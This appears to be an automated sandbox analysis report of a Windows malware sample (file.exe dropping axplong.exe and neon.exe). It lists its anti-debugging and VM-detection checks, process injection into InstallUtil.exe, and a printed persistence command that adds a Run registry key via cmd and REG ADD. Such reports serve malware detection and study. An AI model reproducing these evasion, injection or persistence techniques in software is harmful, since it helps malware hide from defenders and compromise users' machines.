Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06D5 second address: 4EE072C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FD5B08151EAh 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD5B08151F1h 0x00000016 add esi, 1941AC76h 0x0000001c jmp 00007FD5B08151F1h 0x00000021 popfd 0x00000022 jmp 00007FD5B08151F0h 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE072C second address: 4EE0730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0730 second address: 4EE074D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE074D second address: 4EE0753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0753 second address: 4EE0771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B08151F2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0732 second address: 4ED0738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0738 second address: 4ED073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED073C second address: 4ED0740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0740 second address: 4ED078B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD5B08151F4h 0x00000010 or esi, 67C2B938h 0x00000016 jmp 00007FD5B08151EBh 0x0000001b popfd 0x0000001c movzx eax, bx 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 jmp 00007FD5B08151EBh 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED078B second address: 4ED0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0791 second address: 4ED0799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0799 second address: 4ED07A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED07A6 second address: 4ED07AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, bl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70218 second address: 4E7025A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B0DE62F0h 0x00000009 or ecx, 328C9128h 0x0000000f jmp 00007FD5B0DE62EBh 0x00000014 popfd 0x00000015 mov esi, 692F161Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD5B0DE62F1h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7025A second address: 4E702C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD5B08151F7h 0x00000008 pop ecx 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FD5B08151ECh 0x00000019 xor ax, 5918h 0x0000001e jmp 00007FD5B08151EBh 0x00000023 popfd 0x00000024 pop ecx 0x00000025 jmp 00007FD5B08151F9h 0x0000002a popad 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f movsx edi, ax 0x00000032 mov ebx, eax 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0A95 second address: 4ED0AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0AAB second address: 4ED0AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0AC6 second address: 4ED0ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0ADE second address: 4ED0B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD5B08151F8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0B03 second address: 4ED0B12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0B12 second address: 4ED0B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0B18 second address: 4ED0B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0C09 second address: 4ED0C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806B6 second address: 4E80773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD5B0DE62EAh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f pushfd 0x00000010 jmp 00007FD5B0DE62EDh 0x00000015 sbb ch, FFFFFFC6h 0x00000018 jmp 00007FD5B0DE62F1h 0x0000001d popfd 0x0000001e pop eax 0x0000001f mov dh, BFh 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007FD5B0DE62F8h 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FD5B0DE62EEh 0x00000031 jmp 00007FD5B0DE62F5h 0x00000036 popfd 0x00000037 mov bh, al 0x00000039 popad 0x0000003a push FFFFFFFEh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007FD5B0DE62F4h 0x00000044 pushfd 0x00000045 jmp 00007FD5B0DE62F2h 0x0000004a and si, 4688h 0x0000004f jmp 00007FD5B0DE62EBh 0x00000054 popfd 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80773 second address: 4E807A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 43160B19h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD5B08151EAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807A1 second address: 4E807CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 35EECB01h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD5B0DE62F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807CE second address: 4E80831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 4087CD3Fh 0x0000000e pushad 0x0000000f movsx edx, cx 0x00000012 pushfd 0x00000013 jmp 00007FD5B08151F6h 0x00000018 and cl, 00000008h 0x0000001b jmp 00007FD5B08151EBh 0x00000020 popfd 0x00000021 popad 0x00000022 add dword ptr [esp], 3667E0C1h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD5B08151F5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80831 second address: 4E8086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B0DE62F7h 0x00000009 add ax, 25AEh 0x0000000e jmp 00007FD5B0DE62F9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8086D second address: 4E808D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr fs:[00000000h] 0x0000000d pushad 0x0000000e mov cx, 0509h 0x00000012 mov al, E8h 0x00000014 popad 0x00000015 push ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD5B08151ECh 0x0000001d sbb si, EA58h 0x00000022 jmp 00007FD5B08151EBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FD5B08151F8h 0x0000002e sub eax, 66EE74B8h 0x00000034 jmp 00007FD5B08151EBh 0x00000039 popfd 0x0000003a popad 0x0000003b mov dword ptr [esp], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808D6 second address: 4E808ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD5B0DE62F1h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E808ED second address: 4E8091E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B08151ECh 0x00000009 and esi, 660C0E48h 0x0000000f jmp 00007FD5B08151EBh 0x00000014 popfd 0x00000015 mov si, 61BFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c sub esp, 1Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8091E second address: 4E80925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, bl 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10A55D1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10BCC41 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0EAEF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 112EB89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 9C55D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 9DCC41 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 82EAEF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A4EB89 instructions caused by: Self-modifying code

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory allocated: 5650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory allocated: 1DBE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 1870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 3420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 1870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Memory allocated: 4B90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04ED0A7D rdtsc

0_2_04ED0A7D

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 376	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 434	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Window / User API: threadDelayed 3240	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Window / User API: threadDelayed 4405	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_6-16322

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1988	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6516	Thread sleep count: 1512 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6516	Thread sleep time: -3025512s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6448	Thread sleep count: 376 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6448	Thread sleep time: -11280000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6348	Thread sleep count: 1528 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6348	Thread sleep time: -3057528s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5776	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2228	Thread sleep count: 434 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2228	Thread sleep time: -868434s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe TID: 6540	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe TID: 572	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe TID: 5332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: neon.exe, 00000007.00000002.3328015730.0000000015BF1000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000002.3333507125.00000000241A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP%
Source: axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2099093996.0000000001086000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2123850248.00000000009A6000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2125296673.00000000009A6000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: axplong.exe, 00000006.00000002.3310335104.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: neon.exe, 00000007.00000002.3333507125.00000000241A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 2051979379GSOFTWARE\VMware, Inc.\VMware VGAuth

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04ED0A7D rdtsc

0_2_04ED0A7D

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007F645B mov eax, dword ptr fs:[00000030h]		6_2_007F645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007FA1C2 mov eax, dword ptr fs:[00000030h]		6_2_007FA1C2

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: A0000 value starts with: 4D5A

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Thread register set: target process: 1644

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: A0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: A2000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 14E000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 292000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: B496853010	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe "C:\Users\user\AppData\Local\Temp\1000356001\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Process created: C:\Users\user\AppData\Local\Temp\neon.exe "C:\Users\user\AppData\Local\Temp\neon.exe"	Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: 5aProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_007DD312 cpuid

6_2_007DD312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation	Jump to behavior
